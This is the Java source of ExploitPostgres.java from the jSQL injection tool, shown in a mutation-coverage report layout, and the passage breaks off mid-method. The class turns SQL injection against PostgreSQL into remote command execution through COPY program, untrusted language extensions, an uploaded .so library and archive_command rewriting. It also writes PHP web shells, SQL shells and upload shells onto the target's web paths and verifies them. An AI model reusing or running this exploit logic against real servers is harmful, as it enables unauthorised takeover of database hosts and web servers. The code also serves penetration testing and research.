ExploitPostgres.java

1
package com.jsql.model.accessible.engine;
2
3
import com.jsql.model.InjectionModel;
4
import com.jsql.model.accessible.DataAccess;
5
import com.jsql.model.accessible.ResourceAccess;
6
import com.jsql.model.accessible.engine.postgres.ModelYamlPostgres;
7
import com.jsql.model.bean.database.MockElement;
8
import com.jsql.model.suspendable.Input;
9
import com.jsql.util.ThreadUtil;
10
import com.jsql.view.subscriber.Seal;
11
import com.jsql.model.exception.AbstractSlidingException;
12
import com.jsql.model.exception.InjectionFailureException;
13
import com.jsql.model.exception.JSqlException;
14
import com.jsql.model.exception.JSqlRuntimeException;
15
import com.jsql.model.injection.engine.model.EngineYaml;
16
import com.jsql.model.suspendable.SuspendableGetRows;
17
import com.jsql.util.LogLevelUtil;
18
import com.jsql.util.StringUtil;
19
import org.apache.commons.lang3.RandomStringUtils;
20
import org.apache.commons.lang3.StringUtils;
21
import org.apache.logging.log4j.LogManager;
22
import org.apache.logging.log4j.Logger;
23
import org.yaml.snakeyaml.Yaml;
24
25
import java.io.File;
26
import java.io.FileInputStream;
27
import java.io.IOException;
28
import java.io.InputStream;
29
import java.net.http.HttpResponse;
30
import java.util.Arrays;
31
import java.util.List;
32
import java.util.Objects;
33
import java.util.UUID;
34
import java.util.function.BinaryOperator;
35
36
public class ExploitPostgres {
37
38
    private static final Logger LOGGER = LogManager.getRootLogger();
39
    private final InjectionModel injectionModel;
40
    private String nameExtension = StringUtils.EMPTY;
41
    private final ModelYamlPostgres modelYaml;
42
43
    public ExploitPostgres(InjectionModel injectionModel) {
44
        this.injectionModel = injectionModel;
45
        var yaml = new Yaml();
46
        this.modelYaml = yaml.loadAs(
47
            injectionModel.getMediatorEngine().getPostgres().instance().getModelYaml().getResource().getExploit(),
48
            ModelYamlPostgres.class
49
        );
50
    }
51
52
    public void createUdf(String nameExtension) throws JSqlException {
53
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
54
55 1 1. createUdf : negated conditional → NO_COVERAGE
        if (StringUtils.isNotEmpty(nameExtension)) {
56
            this.setRceExtensionWhenActive(false, nameExtension);
57
        } else {
58
            var isUdfActive = this.setRceProgramWhenActive();
59
            isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
60
            isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
61 1 1. createUdf : removed call to com/jsql/model/accessible/engine/ExploitPostgres::setRceArchiveWhenActive → NO_COVERAGE
            this.setRceArchiveWhenActive(isUdfActive);
62
        }
63
    }
64
65
    private String getCreateBasicExtension() {
66
        String plCreateExtension = null;
67 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        if (this.nameExtension.startsWith("plpython")) {
68
            plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
69 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("plperl")) {
70
            plCreateExtension = this.modelYaml.getUdf().getPlperl();
71 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("pltcl")) {
72
            plCreateExtension = this.modelYaml.getUdf().getPltcl();
73 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("plr")) {
74
            plCreateExtension = this.modelYaml.getUdf().getPlr();
75 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("pllua")) {
76
            plCreateExtension = this.modelYaml.getUdf().getPllua();
77 1 1. getCreateBasicExtension : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("plsh")) {
78
            plCreateExtension = this.modelYaml.getUdf().getPlsh();
79
        }
80 1 1. getCreateBasicExtension : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getCreateBasicExtension → NO_COVERAGE
        return plCreateExtension;
81
    }
82
83
    private boolean setRceProgramWhenActive() {
84
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
85
        var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
86
        this.injectionModel.injectWithoutIndex(String.format(
87
            this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
88
            nameTempTable
89
        ), ResourceAccess.TBL_CREATE);
90
        this.injectionModel.injectWithoutIndex(String.format(
91
            this.modelYaml.getUdf().getProgram().getRun(),
92
            nameTempTable,
93
            ResourceAccess.WEB_CONFIRM_CMD
94
        ), ResourceAccess.TBL_FILL);
95
        var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
96
            this.modelYaml.getUdf().getProgram().getGetResult(),
97
            nameTempTable
98
        ), ResourceAccess.TBL_READ);
99 1 1. setRceProgramWhenActive : negated conditional → NO_COVERAGE
        if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
100
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
101 1 1. setRceProgramWhenActive : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceProgramCmd));
102 1 1. setRceProgramWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceProgramWhenActive → NO_COVERAGE
            return true;
103
        }
104 1 1. setRceProgramWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceProgramWhenActive → NO_COVERAGE
        return false;
105
    }
106
107
    private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
108 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        if (isUdfActive) {
109 1 1. setRceExtensionWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
            return true;
110
        }
111 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        if (StringUtils.isNotEmpty(nameExtension)) {
112
            this.nameExtension = this.getExtensionWhenCreated(nameExtension);  // could fail but IT only
113
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
114
        } else {
115
            this.nameExtension = StringUtils.EMPTY;
116
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
117
            for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
118 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
                if (StringUtils.isEmpty(this.nameExtension)) {
119
                    this.nameExtension = this.getExtensionWhenCreated(ext);
120
                }
121
            }
122 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
            if (StringUtils.isEmpty(this.nameExtension)) {
123
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
124 1 1. setRceExtensionWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
                return false;
125
            }
126
        }
127
128
        this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
129
130
        String plCreateBasicExtension = this.getCreateBasicExtension();
131 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        if (plCreateBasicExtension != null) {
132
            this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
133 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        } else if (this.nameExtension.startsWith("sql")) {
134
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
135
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
136
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
137
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
138
            var result = this.injectionModel.getResourceAccess().getResult(
139
                String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
140
                ResourceAccess.BODY_CONFIRM
141
            );
142 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
            if (!"1337".equals(result)) {
143 1 1. setRceExtensionWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
                return false;
144
            }
145
        }
146
147
        var functions = this.injectionModel.getResourceAccess().getResult(
148
            this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
149
            ResourceAccess.BODY_CONFIRM
150
        );
151 1 1. setRceExtensionWhenActive : negated conditional → NO_COVERAGE
        if (!functions.contains("exec_cmd")) {
152
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
153 1 1. setRceExtensionWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
            return false;
154
        }
155
156
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
157 1 1. setRceExtensionWhenActive : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceExtensionCmd));
158 1 1. setRceExtensionWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceExtensionWhenActive → NO_COVERAGE
        return true;
159
    }
160
161
    public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
162 1 1. setRceLibraryWhenActive : negated conditional → NO_COVERAGE
        if (isUdfActive) {
163 1 1. setRceLibraryWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE
            return true;
164
        }
165
166
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
167
        this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
168
        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
169
            this.modelYaml.getUdf().getLibrary().getLoFromText(),
170
            String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
171
        ), ResourceAccess.ADD_LOID);
172 1 1. setRceLibraryWhenActive : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(loid)) {
173
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
174 1 1. setRceLibraryWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE
            return false;
175
        }
176
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
177
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
178
            this.modelYaml.getUdf().getLibrary().getLoToFile(),
179
            loid,
180
            "/tmp/" + nameExploit
181
        ), ResourceAccess.WRITE_LOID);
182
        this.injectionModel.injectWithoutIndex(String.format(
183
            this.modelYaml.getUdf().getLibrary().getCreateFunction(),
184
            "/tmp/" + nameExploit
185
        ), ResourceAccess.ADD_FUNC);
186
        String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
187
            this.modelYaml.getUdf().getLibrary().getRunFunc(),
188
            ResourceAccess.WEB_CONFIRM_CMD + "%20"
189
        ), "confirm");
190 1 1. setRceLibraryWhenActive : negated conditional → NO_COVERAGE
        if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
191
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
192 1 1. setRceLibraryWhenActive : replaced boolean return with true for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE
            return false;
193
        }
194
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
195 1 1. setRceLibraryWhenActive : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceLibraryCmd));
196 1 1. setRceLibraryWhenActive : replaced boolean return with false for com/jsql/model/accessible/engine/ExploitPostgres::setRceLibraryWhenActive → NO_COVERAGE
        return true;
197
    }
198
199
    private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
200 1 1. setRceArchiveWhenActive : negated conditional → NO_COVERAGE
        if (isUdfActive) {
201
            return;
202
        }
203
204
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
205 1 1. setRceArchiveWhenActive : negated conditional → NO_COVERAGE
        if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
206
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
207 1 1. setRceArchiveWhenActive : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRceArchiveCmd));
208
        }
209
    }
210
211
    private static List<String> toHexChunks(String filename) throws JSqlException {
212
        try {
213
            byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
214
                ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
215
            ).readAllBytes();
216 1 1. toHexChunks : replaced return value with Collections.emptyList for com/jsql/model/accessible/engine/ExploitPostgres::toHexChunks → NO_COVERAGE
            return StringUtil.toHexChunks(fileData);
217
        } catch (IOException e) {
218
            throw new JSqlException(e);
219
        }
220
    }
221
222
    public String runRceLibraryCmd(String command, UUID uuidShell) {
223
        String result;
224
        try {
225
            result = this.injectionModel.getResourceAccess().getResult(String.format(
226
                this.modelYaml.getUdf().getLibrary().getRunFunc(),
227
                command.replace(StringUtils.SPACE, "%20") + "%20"
228
            ), ResourceAccess.RUN_FUNC);
229
        } catch (JSqlException e) {
230
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
231
        }
232 1 1. runRceLibraryCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
233
            uuidShell,
234
            result.trim() +"\n"  // missing newline on some extensions
235
        ));
236 1 1. runRceLibraryCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceLibraryCmd → NO_COVERAGE
        return result;
237
    }
238
239
    private String runArchive(String command) throws JSqlException {
240 1 1. runArchive : negated conditional → NO_COVERAGE
        boolean isSetup = command == null;
241
        String pathResult = "/tmp/cmd.txt";
242
243
        String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
244 2 1. runArchive : negated conditional → NO_COVERAGE
2. runArchive : negated conditional → NO_COVERAGE
        if (isSetup && !status.contains("on")) {
245
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
246
            return StringUtils.EMPTY;
247
        }
248
249
        String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
250
        String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
251
            this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
252
            pathConf
253
        ), "conf#loid");
254
        String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
255
            this.modelYaml.getUdf().getArchive().getGetConfLength(),
256
            loidConf
257
        ), "conf#size");
258
259
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
260
            this.modelYaml.getUdf().getArchive().getPutCmd(),
261
            loidConf,
262
            lengthConf,
263 1 1. runArchive : negated conditional → NO_COVERAGE
            isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
264
            pathResult
265
        ), "conf#append");
266
267
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
268
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
269
            loidConf,
270
            pathConf
271
        ), "conf#write");
272
        this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
273
274
        String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
275 2 1. runArchive : negated conditional → NO_COVERAGE
2. runArchive : negated conditional → NO_COVERAGE
        if (isSetup && !cmdArchive.contains(pathResult)) {
276
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
277
            return StringUtils.EMPTY;
278
        }
279
280
        this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
281 1 1. runArchive : removed call to com/jsql/util/ThreadUtil::sleep → NO_COVERAGE
        ThreadUtil.sleep(750);  // wait for result as archiving is slow
282
        String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
283
            this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
284
            pathResult
285
        ), "result#loid");
286
        String result = this.injectionModel.getResourceAccess().getResult(String.format(
287
            this.modelYaml.getFile().getRead().getLargeObject().getToText(),
288
            loidResult
289
        ), "result#read");
290
291 2 1. runArchive : negated conditional → NO_COVERAGE
2. runArchive : negated conditional → NO_COVERAGE
        if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
292
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
293
            return StringUtils.EMPTY;
294
        }
295 1 1. runArchive : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runArchive → NO_COVERAGE
        return result;
296
    }
297
298
    private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
299
        LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
300
        this.injectionModel.injectWithoutIndex(String.format(
301
            this.modelYaml.getUdf().getExtension().getCreate(),
302
            nameExtension
303
        ), "body#add-ext");
304
        String languages = this.injectionModel.getResourceAccess().getResult(
305
            this.modelYaml.getUdf().getExtension().getLanguages(),
306
            "body#confirm-ext"
307
        );
308 1 1. getExtensionWhenCreated : negated conditional → NO_COVERAGE
        if (languages.contains(nameExtension)) {
309
            LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
310 1 1. getExtensionWhenCreated : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::getExtensionWhenCreated → NO_COVERAGE
            return nameExtension;
311
        }
312
        LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
313
        return StringUtils.EMPTY;
314
    }
315
316
    public String runRceArchiveCmd(String command, UUID uuidShell) {
317
        String result;
318
        try {
319
            result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
320
        } catch (JSqlException e) {
321
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
322
        }
323 1 1. runRceArchiveCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
324
            uuidShell,
325
            result.trim() +"\n"  // missing newline on some extensions
326
        ));
327 1 1. runRceArchiveCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceArchiveCmd → NO_COVERAGE
        return result;
328
    }
329
330
    public String runRceProgramCmd(String command, UUID uuidShell) {
331
        String result;
332
        try {
333
            var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
334
            this.injectionModel.injectWithoutIndex(String.format(
335
                this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
336
                nameTempTable
337
            ), ResourceAccess.TBL_CREATE);
338
            this.injectionModel.injectWithoutIndex(String.format(
339
                this.modelYaml.getUdf().getProgram().getRun(),
340
                nameTempTable,
341
                command.replace(StringUtils.SPACE, "%20") +"%20"
342
            ), ResourceAccess.TBL_FILL);
343
            result = this.injectionModel.getResourceAccess().getResult(String.format(
344
                this.modelYaml.getUdf().getProgram().getGetResult(),
345
                nameTempTable
346
            ), ResourceAccess.TBL_READ);
347
        } catch (JSqlException e) {
348
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
349
        }
350 1 1. runRceProgramCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
351
            uuidShell,
352
            result.trim() +"\n"  // missing newline on some extensions
353
        ));
354 1 1. runRceProgramCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceProgramCmd → NO_COVERAGE
        return result;
355
    }
356
357
    public String runRceExtensionCmd(String command, UUID uuidShell) {
358
        String result;
359
        try {
360 1 1. runRceExtensionCmd : negated conditional → NO_COVERAGE
            if ("sql".equals(this.nameExtension)) {
361
                this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
362
                this.injectionModel.injectWithoutIndex(String.format(
363
                    this.modelYaml.getUdf().getSql().getRunFunc(),
364
                    command.replace(StringUtils.SPACE, "%20")
365
                ), ResourceAccess.ADD_FUNC);
366
                this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
367
                result = this.injectionModel.getResourceAccess().getResult(String.format(
368
                    this.modelYaml.getUdf().getSql().getResultCmd(),
369
                    EngineYaml.TRAIL_SQL
370
                ), "body#result") +"\n";
371
            } else {
372
                result = this.injectionModel.getResourceAccess().getResult(
373
                    String.format(
374
                        this.modelYaml.getUdf().getRunFunc(),
375
                        command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
376
                        EngineYaml.TRAIL_SQL
377
                    ),
378
                    ResourceAccess.UDF_RUN_CMD
379
                );
380
            }
381
        } catch (JSqlException e) {
382
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
383
        }
384 1 1. runRceExtensionCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
385
            uuidShell,
386
            result.trim() +"\n"  // missing newline on some extensions
387
        ));
388 1 1. runRceExtensionCmd : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::runRceExtensionCmd → NO_COVERAGE
        return result;
389
    }
390
391
    public String createWeb(String pathExploit, String urlExploit) {
392
        String bodyExploit = StringUtil.base64Decode(
393
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
394
            )
395
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
396
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
397
398
        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
399
            this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
400
            bodyExploit.replace("'", "\"")
401
        ), ResourceAccess.ADD_LOID);
402 1 1. createWeb : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(loid)) {
403
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
404
            return StringUtils.EMPTY;
405
        }
406
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
407
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
408
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
409
            loid,
410
            pathExploit + nameExploit
411
        ), ResourceAccess.WRITE_LOID);
412
413
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
414
            String result = this.injectionModel.getResourceAccess().callCommand(
415
                urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
416
            );
417 1 1. lambda$createWeb$0 : negated conditional → NO_COVERAGE
            if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
418
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
419
                return StringUtils.EMPTY;
420
            }
421 1 1. lambda$createWeb$0 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
422 1 1. lambda$createWeb$0 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createWeb$0 → NO_COVERAGE
            return urlSuccess;
423
        };
424
425 1 1. createWeb : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::createWeb → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
426
    }
427
428
    public String createSql(String pathExploit, String urlExploit, String username, String password) {
429
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
430
            var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
431
                ResourceAccess.SQL_CONFIRM_CMD,
432
                null,
433
                urlSuccess,
434
                username,
435
                password,
436
                false
437
            );
438 2 1. lambda$createSql$1 : negated conditional → NO_COVERAGE
2. lambda$createSql$1 : negated conditional → NO_COVERAGE
            if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
439 1 1. lambda$createSql$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
440 1 1. lambda$createSql$1 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createSql$1 → NO_COVERAGE
                return urlSuccess;
441
            }
442
            return StringUtils.EMPTY;
443
        };
444
445
        String bodyExploit = StringUtil.base64Decode(
446
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.sql.pdo.pgsql")
447
            )
448
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
449
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
450
451
        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
452
            this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
453
            bodyExploit.replace("'", "\"")
454
        ), ResourceAccess.ADD_LOID);
455 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(loid)) {
456
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
457
            return StringUtils.EMPTY;
458
        }
459
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
460
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
461
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
462
            loid,
463
            pathExploit + nameExploit
464
        ), ResourceAccess.WRITE_LOID);
465
466 1 1. createSql : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::createSql → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
467
    }
468
469
    public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
470
        String bodyExploit = StringUtil.base64Decode(
471
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
472
            )
473
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
474
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
475
476
        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
477
            this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
478
            bodyExploit.replace("'", "\"")
479
        ), ResourceAccess.ADD_LOID);
480 1 1. createUpload : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(loid)) {
481
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
482
            return;
483
        }
484
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
485
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
486
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
487
            loid,
488
            pathExploit + nameExploit
489
        ), ResourceAccess.WRITE_LOID);
490
491
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
492
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
493
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
494 1 1. lambda$createUpload$2 : negated conditional → NO_COVERAGE
                if (result.body().contains(DataAccess.LEAD +"y")) {
495
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
496
                } else {
497
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
498
                }
499
            } catch (InterruptedException e) {
500
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
501 1 1. lambda$createUpload$2 : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
502
            } catch (IOException | JSqlException e) {
503
                throw new JSqlRuntimeException(e);
504
            }
505 1 1. lambda$createUpload$2 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitPostgres::lambda$createUpload$2 → NO_COVERAGE
            return urlSuccess;
506
        };
507
508
        this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
509
    }
510
511
    public String getRead(String pathFile) throws AbstractSlidingException {
512
        String resultToParse = StringUtils.EMPTY;
513
        try {
514
            resultToParse = new SuspendableGetRows(this.injectionModel).run(new Input(
515
                String.format(
516
                    this.modelYaml.getFile().getRead().getFromDataFolder(),
517
                    pathFile
518
                ),
519
